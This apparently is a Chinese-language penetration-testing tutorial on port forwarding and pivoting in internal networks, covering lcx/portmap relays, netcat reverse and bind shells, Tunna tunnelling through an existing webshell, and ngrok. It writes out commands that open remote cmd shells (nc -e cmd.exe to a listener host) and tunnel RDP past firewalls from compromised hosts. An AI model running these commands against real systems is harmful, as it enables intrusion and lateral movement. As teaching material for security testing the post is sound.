Fork me on GitHub

内网中的端口转发

参考文献:http://payloads.online/archivers/2018-02-02/1
http://www.freebuf.com/articles/web/170970.html
工具下载:https://github.com/Brucetg/Pentest-tools

使用端口转发技术来访问内网其他主机中,或者将内网中某个端口转发到本地。
端口映射 :
端口映射是将一台主机的内网(LAN)IP地址映射成一个公网(WAN)IP地址,当用户访问提供映射端口主机的某个端口时,服务器将请求转移到本地局域网内部提供这种特定服务的主机。

1.lcx

1
2
3
-listen <监听端口> <转发端口> 
-tran<监听端口> <目标地址> <目标端口>
-slave <目标主机> <目标端口> <本地主机><本机端口>

端口映射 (无法访问内网)

A(192.168.x.xx)无法访问B( 172.21.xx.xx)主机上的端口,但B可以访问外网

实现内网端口转发

1
2
3
4
//在A主机上监听两个端口,并将来自 8989端口的请求传送给9898端口
A主机上执行命令:lcx.exe -listen 8989 9898
//将B主机的3389端口转发到A主机的8989端口
B主机上执行命令:lcx.exe -slave 192.168.x.xx 8989 172.21.xx.xx 3389

linux使用方式

1
2
./portmap -m 2 -p1 8989 -p2 9898
./portmap -m 3 -h1 内网主机IP -p1 3389 -h2 公网主机ip -p2 8989

A与B建立一个通道,将9898的数据不断的传送到B上的目标端口,中间也包括B主机目标端口响应的数据

端口转发 (能够访问内网某台主机)

①A能访问B主机的任何端口,但是无法访问C主机上的端口

实现端口转发

1
2
//B主机上监听的端口就相当于访问了C主机上的端口
在B主机上执行:lcx.exe -tran {监听端口} {C主机IP地址} {C主机端口}

②由于防火墙限制,部分端口无法通过防火墙
实现本地端口转发
//将该B主机的无法通过防火墙的3389端口透传到防火墙允许的其他端口53

1
B主机上执行:lcx -tran 53 B主机ip 3389

2. Termite

这个以前总结过,就不再细说了,直接看此文章就行了https://www.jianshu.com/p/cdaf50bfe6e1

3.nc反弹

①反向连接:

1
2
3
4
//在公网主机上进行监听:
nc -lvp 9999
//在内网主机上执行:(-t 参数是指通过telnet模式执行cmd.exe)
nc.exe -t -e cmd.exe 192.168.8.140 9999

成功后得到一个内网主机的cmd shell

②正向连接

1
2
3
4
//远程主机上执行:
nc -l -p 4444 -t -e cmd.exe
//本地主机上执行:
nc -vv 远程主机ip 4444

成功后得到了一个远程主机的一个cmd shell。

4.tunna

Tunna通过HTTP协议建立一个TCP通信隧道,属于端口复用技术。它可以用来绕过防火墙环境中的网络限制。

1
2
3
4
5
6
7
8
9
10
11
12
--help, -h 显示此帮助信息并退出
--url=URL, -u URL 为远程webshel​​l的URL
--lport=LOCAL_PORT, -l LOCAL_PORT代表本地侦听端口
--verbose, -v 详细(输出数据包大小)
--buffer=BUFFERSIZE, -b BUFFERSIZE* HTTP请求大小(一些网站对大小有限制)
--no-socks, -n 不使用 Socks 代理
--rport=REMOTE_PORT, -r REMOTE_PORT远程服务端口,供webshel​​l连接
--addr=REMOTE_IP, -a REMOTE_IP 远程webshel​​l连接到的地址(默认为 127.0.0.1)
--ping-interval=PING_DELAY, -q PING_DELAY webshprx pinging线程间隔(默认值为0.5)
--start-ping, -s 首先启动ping线程 - 一些服务首先发送数据(例如,SSH)
--cookie, -C 请求cookies
--authentication, -t 基本认证

A已经拥有了B主机的Webshell,但是无法对B主机的其他端口进行通信

1
2
3
4
5
//将目标服务器的3389端口转发到本地的1234端口
python proxy.py -u {WebShell地址} -l 1234 -r 3389 -v -n -s

//将10.10.12.1服务器的3389端口转发到本地的1234端口
python proxy.py -u {WebShell地址} -l 1234 -r 3389 -a 10.10.12.1 -v -n -s

5.ngrok

访问内网上的内容

1
2
3
4
//在本机上执行
python2 -m SimpleHTTPServer 80
//在内网主机上执行
'/home/cws6/Desktop/ngrok' http 80

在本机浏览器中访问Forwarding后的网址,就能访问内网主机上的文件。

-------------本文结束感谢您的阅读-------------